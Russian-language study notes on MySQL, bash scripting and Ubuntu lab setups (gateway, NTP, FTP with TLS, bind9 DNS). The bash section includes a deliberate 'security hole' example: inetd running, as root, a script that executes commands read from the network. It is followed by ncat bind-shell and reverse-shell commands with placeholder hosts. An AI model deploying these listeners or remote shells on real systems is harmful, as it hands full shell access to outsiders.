Обратите внимание на то что регулярное выражение не имеет ограничителей !

Запуск произвольной команды из сеанса MySQL под Linux:

 
Заливаем дамп базы из файла в базу, не выходя из сеанса MySQL:
mysql> \! mysql –uUSERNAME –pPASSWORD DATABASE < DATABSE.sql

Выводим список процессов Linux:
mysql> \! top

Оценим объем логических разделов жесткого диска:
mysql> \! df -h

Tools:

Подключение:
mysql -uUSERNAME -pPASSWORD DBNAME - подключение к базе DBNAME используя логин:USERNAME и пароль:PASSWORD
mysql -uroot -p - логинемся для управления mysql

USE db_name; - Выбрать базу для работы

SHOW databases; - Вывести список баз данных, к которым пользователь имеет доступ:

DROP DATABASE dbname; - Удалить базу данных

SHOW tables; - Вывести список таблиц, для текущей выбранной базы:

CREATE DATABASE db_name; - создать базу

CREATE DATABASE db_name CHARACTER SET utf8 COLLATE utf8_general_ci; - создать базу + установить кодировку и тд

CREATE USER 'user_name'@'localhost' IDENTIFIED BY 'password123'; - создать нового пользователя 
GRANT ALL PRIVILEGES ON db_name.* TO 'user_name'@'localhost'; - дать права\доступ пользователю  к соответствующей базе
flush privileges; -  перезагрузить таблицы назначения привилегий

rename user user_name@'10.0.0.100' to user_name@'10.0.0.200'; - Изменить IP для пользователя user_name@'10.0.0.100'

 
ALTER USER 'имя пользователя'@'localhost' IDENTIFIED BY 'New_Password'; - Смена пароля пользователя 
FLUSH PRIVILEGES; - Применить привилегии


INSERT INTO comercial_tests (id, place_id, keywords) SELECT id, place_id, keywords FROM commercials; - Скопировать данные из одной таблицы в другую

DESCRIBE pet; - Посмотреть поля таблицы

SELECT * FROM users LIMIT 5 OFFSET 5; - Посмотреть данные в таблице

CREATE TABLE pet (name VARCHAR(20), owner VARCHAR(20),species VARCHAR(20), sex CHAR(1), birth DATE, death DATE); - Создать таблицу

Пользователи и привилегии:
use mysql;
select * form user; - показать все из таблицы user
select user,host from user; - показать всех пользователей из таблицы user
select user,host from user where user like 'admin'; - показать всех пользователей с именем admin
show grants;  - показать привилегии текущего пользователя
show grants for 'user'@'localhost' - показать все привилегии пользователя



show open tables; - показать открытые таблицы
show plugins; - показать используемые плагины 

SHOW MASTER STATUS

show master status; - показать состояние мастера и репликации
Рубрики
bash Конспект разное

Конспект: sh / bash

Переменные:

Принципы:

EDITOR=nano crontab -e

export http_proxy=http://ya.ru:3128 - объявляем глобальную переменную
wget http://что_то_скачать - пытаемся воспользоваться wget


Показать переменные:
set - показывает все переменные окружения
env - показывает переменные помеченные как экспортируемые

Можно увидеть в настройках:
login, sshd, telnetd,  ~/.profile,  ~/.cshrc и в других файлах.
Переменные: HOME, SHELL, PATH, TERM. LOGNAME, USER, EDITOR, ENV и т.д.


Примеры \ присвоения переменной:

0. Переменную распознает программа  
1. Переменную распознает шелл

Пример как присваивается переменная:
a=HEllo
set | grep '^a'

export a
env | grep '^a'

dir=/bin
ls -l $dir

echo $a

a=pwd
$a

Примеры с кавычками:
Различие между кавычками
В одинарных кавычках содержимое выводится как есть.
В двойных кавычках переменные исполняются.

a='Hello World'
echo $a

a="Hello World"
echo $a

Обходимся без кавычек, экранирование пробела с помощь слеша:
a=Hello\ World
echo $a

Примеры подстановки переменной:
a="Hello"
b=$a
echo $b

Пример с подстановкой переменно и работы одинарной кавычки
Одинарные кавычки всегда передают значение как есть, то есть шелл проигнорирует переменную.
b='$a World'
echo $b

Пример а если мы всё-таки хотим передать переменную:
На помощь приходят двойные кавычки:
b="$a World"
echo $b

Экранирование(слеш):
Слеш отменяет действие многих спец символов.
b=$a\ world
echo $b

b=\$a\ World
echo $b

b=$aWorld
echo $b

b=${a}World
echo $a
echo $b

Значения переменных рекомендуется брать в фигурные скобки.
b=${a}World
echo $a
echo $b

Арифметика

!!! шелл оперирует переменными окружениями
!!! Арифметики не будет при таких записях:
a=3+6
echo $a

a=222
b=333

c=${a}${b}
echo $c

c=${a}+${b}
echo $c

!!! Арифметике быть!
Для арифметических действий используется конструкция из скобок $(( выражение ))
a=$((3+6))
a=$(($a*6))

А если сделать вот так:
c=((${a}+${b}))
c=$((${a}+${b}))
echo $c

Программа для арифметики expr:
a=1
a=$(expr $a + 1)
echo $a

Применение переменных с программами:

` - обратный апостроф ( не путать с одинарной кавычкой)
` - служит для выполнения команды

`команда` - выполнится команда внутри апострофов
$(команда) - ведет себя аналогично при использовании обратного апострофа (`)

dir='pwd'
echo $dir

d=$(date)
echo $d

x=`date '+%Y.%m.%d'`
echo $x

z=$(date '+%Y.%m.%d')
echo $z

c=`ps -uaxf | grep sshd |grep -v grep`
echo $c


сгенерировать случайное число
rnd=`jot -r 1 1 10`

Сгенерировать число от 1 до 10 
gen10=`seq 10`
echo $gen10

filecount=`ls/bin | wc -l`
echo $filecount


Ввод пользователя

Программа read, ожидает ввода пользователя и сохраняет в переменную
read a
echo $a

Пример использования:
echo -n "Enter Name: "; read a; echo Hello "$a"


Подстановки в файл:

Речь идет о спец символах * ? и т.д.

echo /bin/c* - покажет все файлы начинающиеся на c

cat - можно редактировать и смотреть файлы (при использовании <>)

file - команда позволяет определить тип файла, что бы случайно не открыть бинарный файл

Чтение переменных с исключением

0. Пример исключаем суффикс sample при выводе переменной i
i=sip.conf.sample

echo $i
echo ${i}
echo ${i%.sample}

1. Пример исключить (GET /) при выводе переменной i
i='GET /index.html'
echo ${i#GET /}

Удаление переменной

unset CLICOLOR
unset EDITOR
unset http_proxy

Объединение команд (;)

echo -n "Enter Name: "; read a; echo Hello "$a"
sleep 3; echo -e "\007"

Последовательные команды в текстовом файле


Пример файла:
vim 1.txt
---------
echo -n "Enter Name: "
read p
echo Hello "$p"
---------

Пример выполнения 1:
sh 1.txt - запасаем новый шелл и выполняем файл 1.txt

Пример выполнения 2:
. 1.txt - точка говорит выполнить в текущем контексте шелла файл 1.txt


Последовательные команды в выполняемом файле


Пример файла f2.sh:
-------------
#!/bin/sh
echo -n "Enter Name: "
read p
echo Hello "$p !!!"
-------------

Выполнение:
chmod u+x f2.sh - даем права на выполнения файла

f2.sh - выполняем файл при условии если он расположен в PATH

/home/user/f2.sh
./f2.sh


sh f2.sh
. f2.sh

Функции:

function ()

Специальные символы

$? - коды возврата

[ - это программа сравнения, и если выполнить (which [) мы увидим что программа называется test и она возвращает 1 или 0, код возврата можно увидеть по echo $?
man [
test 6 -lt 3
echo $?


$1 - аргумент запуска программы 
$2 - аргумент запуска программы
$3  - аргумент запуска программы

Пример работы:
agr.sh - создаем скрипт
--------------
echo $2 $3 $1
--------------

Ну и проверяем: 
. agr.sh aaa bbb ccc

&& - если программа этого символом && выполнилась успешно выполняй следующую после этого символа &&


#  - комментарий


Операторы равенства:
eq  равно (=) (Equals)
ne  не равно (!=) (Not equal)

Операторы диапазона:
gt больше (>) (Greater than)
lt меньше (<) (Less than)
ge больше или равно (=>) (Equal or greater than)
le меньше или равно (=<) (Equal or less than)


Во многих языках программирования двоеточие (:) означает истина (True) и возвращает 0

Задать символ разделитель с помощью IFS
IFS=:

Целочисленный цикл while пример на ping


0. Пример в файле ex2.sh:
---------------
# Пример цикла выполнять до
i=1
while [ $i -lt 254 ]
do
  #test $i = 50 && continue 
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
done

---------------
Запуск:
ex2.sh 192.168.1



1. Пример в файле ex3.sh:
---------------
# Пример цикла выполнять до
i=1
while :
do
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
  test $i -eq 254 && break # прервет цикл
done
---------------

Примеры цикла for:

Пример показать все файлы заканчивающийся на (*.txt) :
for i in *.txt; do echo $i; done

Пример массового переименования:
for in in *sample; do cp $i ${i%.sample}; done

Пример что бы показать что списком может быть что угодно: 
for i in `ps -aux | awk '{print $1,$11}'`; do echo $i; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in $(for((i=1; i<11; i++)) do echo $i; done); do echo > $i.txt; done

Пример создания списка ip:
for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

Пример использования списка ip и применения команды ping:
for pingz in $(cut ip_files.txt); do ping -c1  $pingz ; done

Пример как показать все crontab всех пользователей: 
for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

Пример вытаскиваем первое поле из файла и подставляем перед ним user:
for i in `cut -d: -f1 /etc/passwd`; do echo user $i; done

Пример перемещения файлов используя список:
for x in catalog director messages user fileset client job jobdefs pool schedule storage use; do  mv /etc/bareos/bareos-dir.d/${x} tmp/bareos-dir.d/; done

Чтение из файлов, парсинг файлов, while, for:

Пример использования IFS, перенаправления в read
------------------------
#!/bin/sh
IFS=:
while read a b c d e f g
do 
   echo "$a $g"
done < /etc/passwd
------------------------



Пример с использованием for
------------------------
#!/bin/sh
for i in `cut -d: -f1 /etc/passwd`
do
  echo user $i
done
------------------------

Пример for, while

!!! ls создается список файлов
!!! echo и cat, на stdout выводится список файлов и показывается содержимое файла 
Пример 1:
for i in `ls` ; do echo -e "\\n#### $i \\n" && cat $i ; done 
Пример 2:
ls * | while read file ; do echo "$file" && cat "$file" ; done

Пример (while read LINE), удаление файлов:

!!!find /dir/dir2/dir3 -type f -mtime +1 -name "*.broken" -delete >/dev/null 2>/dev/null - ищем файлы в каталоге (/dir/dir2/dir3) в имени которых встречается "*.broken" и молча их удаляем (>/dev/null 2>/dev/null) 
!!!find /dir/dir2/ -mindepth 1 -maxdepth 1 -ctime +5 -type d -delete - ищем каталоги в  каталоге (/dir/dir2/) старше 5 дней и удаляем их


Пример скрипта:
/usr/bin/find /dir/dir2/dir3 -mindepth 1 -maxdepth 1 -ctime +2 -type d | sort -n | head -n-3 | while read LINE; do
    echo "[/dir1/dir2/dir3] ${LINE}"
    rm -rf "${LINE}"
done

Пример дыры в безопасности:

!!! для работы понадобится openbsd-inetd (суперсервер inetd)
!!! настроить его
!!! номер_порта stream tcp nowait имя_пользователя /путь_скрипта имя_скрипта
!!! 1234 stream tcp nowait root /root/cmd.sh smd.sh 

vim cmd.sh
----------------
#!/bin/sh
while read cmd
do 
$cmd
done
----------------



В Ncat
Для создания шелла на удалённом компьютере:
ncat -l -e "/bin/bash" [ПОРТ]
Для подключения к нему с локального компьютера:
ncat [IP] [ПОРТ]

Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:
ncat -l [ПОРТ]
Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:
ncat -e "/bin/bash" [IP] [ПОРТ]
Рубрики
Конспект

Конспект: linux ubuntu часть 2

Первая лабораторная подготовка шлюза

!!! в лабораторной будет две виртуальной машины
!!! домен  d0.zor.inc
0. Информация о шлюзе
hostname: c0.d0.zor.inc
eth0 -> isp 10.0.0.23/24
eth1 -> lan 192.168.200.1/24

GW 10.0.0.1
DNS 192.168.200.1 (127.0.0.1)

1. Изменяем имена интерфейсов в файле /etc/udev/rules.d/70-persistent-net.rules 
1.1 Или можно создать свое правило
sudo nano /etc/udev/rules.d/1-user-network.rules
KERNEL=="enp0s3", ,ATTR{address}=="08:00:27:47:d2:4e", NAME="eth0"



2. Информация о клиенте
hostname: ubuntu
ip dhcp


3. редактируем hosts на шлюзе 
nano /etc/hosts
---------------
127.0.0.1       localhost
10.0.0.23       c0.d0.zor.inc c0
192.168.200.1   intgate
--------------

4. Удаляем resolv.conf на шлюзе, что-бы убить символическую ссылку на файл генерации
rm /etc/resolv.conf

5. Создаем файл resolv.conf на шлюзе
nano /etc/resolv.conf
---------------------
domain        d0.zor.inc
nameserver    10.0.0.1
---------------------

6. Редактируем файл interfaces на шлюзе
!!! Ubuntu в файле  ifupdown просит установить пакет ifupdown, для управления сетью
!!! sudo apt install ifupdown - устанавливаем пакет  ifupdown
!!! В ubuntu авто конфигурация сетевых интерфейсов демон netplan
!!! netplan apply - применить изменения
nano /etc/netplan/50-cloud-init.yaml - редактируем файл
------------------------------------
#network:
#    ethernets:
#        enp1s0:
#            dhcp4: true
#    version: 2

network: {config: disabled}
------------------------------------

nano  /etc/network/interfaces - редактируем файл interfaces
-----------------------------
auto lo
iface lo inet loopback

auto isp
iface isp inet static
      address 10.0.0.23
      netmask 255.255.255.0
      gateway 10.0.0.1
      dns-search CORP.NAME.local 
      dns-domain CORP.NAME.local
      dns-nameservers 192.168.15.1
      dns-nameservers 8.8.8.8

auto lan
iface lan inet static
      address 192.168.200.1
      netmask 255.255.255.0
-----------------------------

7. Перезагружаем шлюз
reboot

Памятка по файлу /etc/network/interfaces

auto lo
iface lo inet loopback

auto ens3
iface ens3 inet static
      address 10.0.0.216
      netmask 255.255.255.0
      gateway 10.0.0.1  
      dns-nameservers 8.8.8.8 8.8.4.4
      dns-search YOUR-DOME.pro

Установка программ из исходников на примере браузера links

http://links.twibright.com/user_en.html - главная страница links
http://links.twibright.com/download.php - страница загрузки

cd /tmp - переходим в каталог временных файлов
wget http://links.twibright.com/download/links-2.21.tar.gz - загружаем исходник src
tar -xf links-2.21.tar.gz - распаковываем
cd links-2.21  - переходим в каталог links-2.21
less README - читаем
less INSTALL - читаем 

./configure  - подготовка к сборке программы (создается файл Makefile)
./configure --help - посмотреть дополнительные опции для сборки
./configure --without-ipv6 - соберем без ipv6

CFLAGS="-march=native -pipe -O2" ./configure --without-ipv6 - соберем без ipv6, native - родной, для нашей архитектуры

apt install build-essential - пакет необходимый для сборки приложений в ubuntu ( make, gcc, cc и т.д.)

CFLAGS="-march=native -pipe -O2" ./configure --without-ipv6 --without-gpm - соберем без ipv6, без gpm, native - родной, для нашей архитектуры

make -j2 - компиляция и сборка программы
make install - установка программы

make clean - очистка подготовленных файлов для установки
make remove - удаление программы

hash -r - встроенная программа помогает сбросить хэш шела (помогает лечить проблему с путями к программам)

links ya.ru - открыть страницу ya.ru
links -dump ya.ru - links умеет делать дамп страницы 

Лабораторная вторая скрипты, программирование


!!! apt install fping
!!! for x in `seq 0 14`; do fping 10.0.0.$((200+$x)); done - пример с fping
!!! пробел в shell разделитель

!!! script - сценарий

При запуске программы проверяются условия:
- право на исполнение
- является ли файл бинарным исполняемым файлом
- если это текстовый файл, есть ли в первой строке путь к интерпретатору
При использовании bash первая строка
shell script должна быть такой:
#! /bin/bash


!!! Переменные в shell script:
- не типизированы
- область видимости переменных – весь код программы
- при обращении к неопределенной переменной не выдаются ошибки
Пример использования переменной:
PERM=value
echo $PERM
В shell все переменные строковые, string

name=vasya - задали переменной name значение vasya
echo $name - вывели на экран значение переменной name
env -  показывает значение переменных
env | grep name - показать значение переменной name (ха-ха - мы ее там не увидим, что-бы её увидеть нужно её экспортировать)
!!! shell дочерним процессам не передает переменные без экспорта
export name - экспортировать переменную name, теперь мы ее увидим в глобальных переменных
env | grep name - показать значение переменной name - вот теперь значение переменной name появилось после export
set | less - показать все переменные заданные shell

name=vasya
surname=loshkin
echo $name $surname
#fullname=$name $surname - так как пробел является разделителем, то shell задаст переменную fullname=$name, а $surname попытается выполнить как команду
!!! Еще есть особенность при такой записи fullname=$name $surname переменная выполняется и не изменяется, хороший пример с командой  date и переменной LANG ниже
date
LANG= date

fullname=$name\ $surname - экранируем пробел так как пробел  в шелл является спец символом -разделителем
echo $name $surname

fullname="$name $surname" - кавычки заставляют шелл не интерпретировать спец символ пробел
echo $name $surname

fullname='$name $surname' - апострофы(одинарные кавычки), заставляют шелл игнорировать все 
echo $name $surname

!!! обратные апострофы - выполнение команды
a=`date`
echo $a

a=`date;date;date`
echo $a


cmd=date
a=`cmd`
echo $a

!!! Три способа определения массивов:
MASS[0]=value
MASS=([0]=value1 [5]=value2)
MASS=(value1 value2)
Получение значения элемента массива:
${MASS[0]}
Получение значений всех элементов массива:
${MASS[*]} или ${MASS[@]}


!!! Подстановочные переменные
В подстановке используется то, что программа будет выводить на стандартный вывод.
Два варианта записи подстановки:
`program`
$(program)


!!! В shell script используется ограниченный набор арифметических операций: + - * / и круглые скобки.
Для подстановки значения арифметических выражений используется: $(( выражение ))
Если значение переменной, используемой в арифметическом выражении, не является целым числом, то её значение считается равным 0.
Значения могут быть только целочисленными, дробная часть отбрасывается
echo $((87/100 * 100000))
echo $((10 - 3))
echo $((48*50))
echo $((500/234))
echo $(((900+200*49-10000)/2))


!!! Условный оператор if
if условие
then
    список операторов
[else
     список операторов ]
[elif условие
            список операторов ]
fi

!!! Проверка условий при помощи программы test
test [опции] условия ...
Программа test предназначена для
проверки следующих типов условий:
- сравнение различных значений,
- проверка типов и наличия файлов,
- проверка логических условий


!!! Использование встроенных операторов && и ||
&& ― логическое И.
|| ― логическое ИЛИ.


!!! Оператор case
case строка in
шаблон)
список операторов
;;
[ шаблон)
список операторов
[;;] ]
esac
Оператор case поочередно сравнивает строку с шаблонами. 
Если шаблон совпадает, то выполняется группа операторов, находящихся между шаблоном и специальными символами ;;. 
После выполнения всех строк управление передается операторам, находящимся за ключевым словом esac.


!!! Оператор for
for переменная [ in список ]
do
  список операторов
done

При каждой итерации в операторе for, переменной присваивается следующее значение из списка и выполняются все операторы, находящиеся между do и done.
Оператор работает до тех пор, пока не будет обработан весь список или в теле цикла не встретится оператор break.

#!/bin/bash
# Пример for
for I in 1 2 3 4 5 6 7 8 9 10
do
   echo "--> $I <--"
done

!!! Оператор while
while условие
do
   набор операторов
done
В цикле while выполняются строки, расположенные между do и done, до тех пор, пока условие истинно или пока не встретится оператор break или exit.


s4 - пример скрипта пинговалики
-----------------------------
#!/bin/sh

#seq - генерирует числа от до
#fping - пингует хост

for x in `seq 1 254`
do
  #fping 10.10.104.$((200+$x))
  #fping -a -c1 192.168.15.$((0+$x))
  fping 192.168.15.$((0+$x))
done
------------------------------

s4 - показываем что не пингуется
------------------------------
#!/bin/sh

#seq - генерирует числа от до
#fping - пингует хост

for x in `seq 1 254`
do
  fping -q  192.168.15.$((0+$x)) 2> /dev/null
  if [ $? -ne 0 ]
  then
     echo ACHTUNG! ip 192.168.15.$x is  unreacheable.
  fi
done
------------------------------


!!! Оператор select
select переменная in список
do
   набор операторов
done


!!! Специальные переменные
$0 $1 ... $9 ― позиционные переменные.
$* и $@ ― все параметры командной строки.
$# ― количество параметров командной строки.
$? ― код возврата программы.
$! ― PID программы, запущенной в background режиме.
$$ ― PID процесса shell.
$? — код возврата последней выполненной программы.
$! — PID последней программы, запущенной в background режиме.
$$ — PID процесса shell, исполняющего данный shell script.

Пример использования специальных переменных:
------------------
#!/bin/sh
#$0 - имя программы как она была вызвана
#$$ - PID процесса скрипта
echo PID of $0: $$
------------------


!!! - Значения переменных живут в своих процессах (если только специально не переданы)
s1
------------------
#!/bin/sh
echo PID of $0: $$
a=1
echo a in $0: $a
./s2
echo a in $0: $a
-----------------

s2
-----------------
#!/bin/sh

echo PID of $0: $$
a=2
echo a in $0: $a
-----------------


s2
!!! если значение переменной не присвоено, то оно будет пустой строкой
-----------------
#!/bin/sh

echo PID of $0: $$
echo a in $0 \(before\): $a
a=2
echo a in $0 \(after\): $a
------------------


!!! экспорт переменных, если всё-таки требуется передать значение переменной
s1
------------------
#!/bin/sh
echo PID of $0: $$
export a=1 # экспортируем значение переменной
echo a in $0: $a
./s2
echo a in $0: $a
-----------------

!!! А если всё-таки переменную из s2 надо будет использовать в s1?
!!! Все просто нужно что бы скрипты s1 и s2 были одним процессом, для этого просто скрипт s2 запустим в процессе s1
s1
------------------
#!/bin/sh
echo PID of $0: $$
a=1 #экспорт нам не нужен, так как это будет один процесс
echo a in $0: $a
. ./s2 #вот таким не хитрым способом поставив точку
echo a in $0: $a
-----------------


!!! Использование $? - код возврата программы
---------------------
fping ya.ru - 
fping -q ya.ru
echo $?
0   - ноль все хорошо
fping -q ya.ry
echo $?
2 - все значения кроме нуля какая-то ошибка
---------------------


!!! Пример скрипта s6 читаем файл
echo 1 2 3 4 > hosts_to_check - создаем файл hosts_to_check с цифрами 1,2,3,4

s6
-------------------
#!/bin/sh
for x in `cat hosts_to_check`  # значения x берем из файла hosts_to_check
do
  fping -q  192.168.15.$((0+$x)) 2> /dev/null
  if [ $? -ne 0 ]  # если ответ fping не равен нулю то выводим следующие
  then
     echo ACHTUNG! ip 192.168.15.$x is  unreacheable.
  fi
done
---------------------

!!! Пример скрипта s7
!!! Если не указывать значение аргумента arg, то шелл будет брать значения аргумента командной строки
!!! Т.е. ./s7 без параметров шелл не выведет ничего, а если указать параметры ./s7 1 f 2 42
s7
--------
#!/bin/sh
for arg
do
     echo $arg
done
---------


s8
---------
#!/bin/sh
:>x1
for arg
do
     echo $arg  >> x1
done
sort -r x1
---------



Лабораторная третья, время, NTP, сервер NTPD

RTC - на плате вместе с BIOS, запитанные от батарейки, 
System Clock - unix epoch

UTC - всемирное координированное время - Coordinated Universal Time
GMT - Greenwich Mean Time - Среднее время по Гринвичу
UTC=GMT

NTP использует порт 123 UDP
В пакет входит следующее:
ntpq для запроса серверов NTP
ntpd поддерживает точность локальных часов и (опционально) обеспечивает клиентам службу NTP
ntptrace прослеживает цепь сервера NTP к исходному серверу
ntpdate — одноразовая программа обновления часов

Онлайн список общедоступных серверов NTP
http://support.ntp.org/bin/view/Servers/WebHome

apt instsall ntp - установим ntp
apt install ntpdate - установим пакет ntpdate
/etc/init.d/ntp stop - остановим демон ntp

date - показать время
date -s 16:00 - установить время 16:00

file /etc/localtime - файл временной зоны, обычно линкуют с правильным файлом из /usr/share/zoneinfo, по умолчанию  это /usr/share/zoneinfo/Etc/UTC
cp /usr/share/zoneinfo/Europe/Stockholm /etc/localtime - вот так можно сменить временную зону например на Stockholm
cp /usr/share/zoneinfo/Europe/Helsinki /etc/localtime - вот так можно сменить временную зону например на Helsinki
cp /usr/share/zoneinfo/Europe/London /etc/localtime - вот так можно сменить временную зону например на London 
cp /usr/share/zoneinfo/Europe/Moscow /etc/localtime - вот так можно сменить временную зону например на Moscow

ntpdate ru.pool.ntp.org - установим время используя пул ru.pool.ntp.org

Для автоматической синхронизации можно настроить планировщик crontab
crontab –e 
0 * * * * /usr/sbin/ntpdate [серверы NTP]
0 * * * * /usr/sbin/ntpdate ntpdate ru.pool.ntp.org



Сервер точного времени ntpd
GPS NMEA-0183

/etc/init.d/ntp start - запускаем демон ntp
pgrep -l ntp - убеждаемся что он запустился и работает 

nano /etc/ntp.conf - файл конфигурации
------------------
server ntp.ubuntu.com 
server time.nist.gov 
server europe.pool.ntp.org


Разрешение доступа из локальной сети:
По умолчанию ваш сервер NTP будет доступен всем хостам в Интернет. 
Параметр restrict в файле /etc/ntp.conf позволяет вам контролировать, какие машины могут обращаться к вашему серверу. 

Если вы хотите запретить всем машинам обращаться к вашему серверу NTP, добавьте следующую строку в файл /etc/ntp.conf: 
restrict default ignore 

Если вы хотите разрешить синхронизировать свои часы с вашим сервером только машинам в вашей сети, 
но запретить им настраивать сервер или быть равноправными участниками синхронизации времени, то вместо указанной добавьте строчку 
restrict 10.0.0.0 mask 255.0.0.0 nomodify notrap 

/etc/ntp.conf может содержать несколько директив restrict 
restrict 10.0.0.0 mask 255.0.0.0 noquery
------------------

Логи сервера: 
/var/log/ntpstats/ 

Проверка запросов: 
ntpq –p

Лабораторная четвертая, FTP, демон ftpd

!!! ftp порт 21
!!! ss -tpln | grep  ftp

FTP отличается от других приложений тем, что он использует два TCP соединения для передачи файла.

1.Управляющее соединение устанавливается как обычное соединение клиент-сервер. Сервер осуществляет пассивное открытие на заранее известный порт FTP (21) и ожидает запроса на соединение от клиента. 
Клиент осуществляет активное открытие на TCP порт 21, чтобы установить управляющее соединение. Управляющее соединение существует все время, пока клиент общается с сервером. 
Это соединение используется для передачи команд от клиента к серверу и для передачи откликов от сервера.

2.Соединение данных открывается каждый раз, когда осуществляется передача файла между клиентом и сервером. 
(Оно также открывается и в другие моменты, как мы увидим позже.) 
Тип сервиса IP для соединения данных должен быть "максимальная пропускная способность", так как это соединение используется для передачи файлов.


FTP-сервер поддерживает 2 режима передачи данных: ascii и binary, что определяется переданными ему командами.


Команды FTP
-----------
help получить список команд поддерживаемых ftp-сервером
ls или dir список файлов или директорий
pwd показать текущую директорию
cd перейти к указанной директории
mkdir создать директорию
rmdir удалить директорию, если она не пустая
[m]get получить файл[ы] с сервера
[m]put отправить файл[ы] на сервер
TYPE {binary | ascii} указать режим передачи данных
quit или exit завершить работу с сервером
-----------

apt-get install proftpd openssl ftp-ssl whois - установка, с этого момента proftpd установился и работает но без шифрования
ftp localhost - подключаема и проверяем работу proftpd

Проверяем работу
ftp IP_адрес
После подключения создаем на сервере директорию MyDir командой:
mkdir MyDir


Для использования TLS нам необходимо создать SSL сертификат в каталоге /etc/proftpd/ssl
mkdir /etc/proftpd/ssl - cоздаем каталог /etc/proftpd/ssl
openssl req -new -x509 -days 365 -nodes -out /etc/proftpd/ssl/proftpd.cert.pem -keyout  /etc/proftpd/ssl/proftpd.key.pem - генерируем SSL сертификат (на все вопросы просто прощелкаем Enter, так как сертификат само подписанный и проверять его некто не будет)

nano /etc/proftpd/proftpd.conf - редактируем строки в конфиге proftpd, убираем комментарии строк
------------------------------
DefaultRoot ~  #Изолировать пользователя в домашнем каталоге, найти убрать комментарий
IdentLookups off #найти убрать комментарий
Include /etc/proftpd/tls.conf #Включаем TLS, найти убрать комментарий
ServerIdent on "FTP Server ready." #Приветсвие сервера при подключении, добавляем в конец файла
------------------------------

cp /etc/proftpd/tls.conf /etc/proftpd/tls.conf.back - делаем копию файла /etc/proftpd/tls.conf
:> /etc/proftpd/tls.conf - уничтожаем содержимое файла /etc/proftpd/tls.conf

nano /etc/proftpd/tls.conf - редактируем файл /etc/proftpd/tls.conf
--------------------------
TLSEngine on
TLSLog /var/log/proftpd/tls.log
TLSProtocol SSLv23
TLSOptions NoCertRequest
TLSRSACertificateFile /etc/proftpd/ssl/proftpd.cert.pem
TLSRSACertificateKeyFile /etc/proftpd/ssl/proftpd.key.pem
TLSVerifyClient off
TLSRequired on
--------------------------
Если у вас TLSRequired on, тогда только пользователи с включенным TLS получат доступ к вашему FTP серверу (могут возникнуть проблемы у пользователей использующих старые FTP клиенты не поддерживающие TLS). 
Для того чтобы все пользователи могли соединиться с FTP закомментируйте строку TLSRequired on, либо измените значение на Off

В случае возникновения проблем с TLS смотрите логи /var/log/proftpd/tls.log


Проверяем работу
ftp-ssl IP_адрес
После подключения создаем на сервере директорию MyDir командой:
mkdir MyDir

DNS

DNS to ip  - прямое преобразование
ip to DNS - обратное преобразование - PTR

ping -c1 ya.ru - прямое преобразование

RESOLVER DNS Library

/etc/hosts - специальный файл, прямое преобразование, обратное преобразование, DNS, resolver проверяет в первую очередь
/etc/resolv.conf - файл списка DNS серверов для resolver


!!! Например полное имя нашего хоста h1, DNS Suffix у нас class.inc
!!! FQDN - полное имя у нас будет h1.class.inc.
FQDN - полностью квалифицированного доменного имени.
Обратите внимание на точку в конце имени — это явное указание корневого домена.
Наиболее распространенная ошибка при создании файла описания зоны — это отсутствие точки в конце FQDN.

/etc/host.conf - специальный файл, задает поведения обращения к ресурсам в сети DNS (старый файл)
/etc/nsswitch.conf - (Name Service Switch) специальный файл, задает поведения обращения к ресурсам в сети (DNS, password, etc...)



Записи о ресурсах
Формат записи можно представить следующим образом:
[имя_компьютера|имя_домена] [ttl] [класс] тип параметры

Первое – это имя машины или домена. Что именно писать в этом поле, зависит от типа записи. 
Если это поле оставить пустым, то его значение берется из предыдущей записи.
Если вы не указываете первое поле, то в начале строки обязательно должен присутствовать либо символ пробела, либо табуляции.

Второе поле – время жизни записи в кэш DNS сервера. 
Значение поля устанавливается в секундах. 
Если поле не определено, его значение берется из значения по умолчанию для данной зоны.

Третье поле – класс сети. Можно использовать следующие классы сетей:
IN – Internet (значение по умолчанию)
CH – ChaosNet. В настоящее время не используется.
HS – Hesoid – информационная служба, являющаяся надстройкой пакета BIND. Используется крайне редко

Тип записи – это зарезервированное слово.
SOA Определение параметров зоны DNS. Обязательная запись
NS Определение DNS серверов, авторитетных для зоны. Делегирование полномочий под доменам. Обязательная запись.
А Преобразование имени в IP адрес
AAAA Преобразование имени в адрес IPv6
А6 Преобразование имени в адрес IPv6
PTR Преобразование IP адреса в имя
MX Применяется для указание почтового сервера, отвечающего за почту домена
KEY Открытый ключ шифрования для DNS имени
CNAME Дополнительное имя машины (псевдоним)
SRV Определение служб в пределах домена

Пример формата записи SOA:
unix.domenname.ru. IN SOA master.unix.domenname.ru. (
artur.unix.domenname.ru. ; e-mail
2008072501 ; серийный номер записи
18H ; время обновления
20M ; интервал между попытками
2W ; интервал устаревания
1D ) ; TTL


host 
host ya.ru 8.8.8.8
host -v ya.ru 8.8.8.8
host -t mx gmail.com
host -la ya.ru 8.8.8.8
nslookup 
dig

Сервер DNS — bind9

!!! Используются порты udp/tcp 53 и tcp 953
!!! ps auxwww | grep bind - проверяем от кого работает bind, должен работать от пользователя bind
!!! Low (Privileged) Ports < 1024 UID == 0 
!!! Privilege Drop
!!! id bind - проверяем UID пользователя

0. Устанавливаем Bind9
apt-get install bind9 - устанавливаем Bind9 
pgrep named - проверяем запуск демона named (он же bind9)

/etc/bind/named.conf - главный конфиг файл (в дистрибутивах debian в нем ссылки(include) на другие файлы)

1. Редактируем файл /etc/bind/named.conf.options

nano /etc/bind/named.conf.options - редактируем, убираем комментарии, комментируем не нужное
---------------------------------

forwarders {
                192.168.15.1; - внешний сервер DNS
        };

//dnssec-validation auto; - эту строку мы закомментируем (поставим //), в некоторых дистрибутивах  этот параметр работает не правильно

//dnssec-enable yes;  - были проблемы с bind после обновления, не резолвились внешние адреса, после добавления заработало
//dnssec-validation yes;  - были проблемы с bind после обновления, не резолвились внешние адреса, после добавления заработало

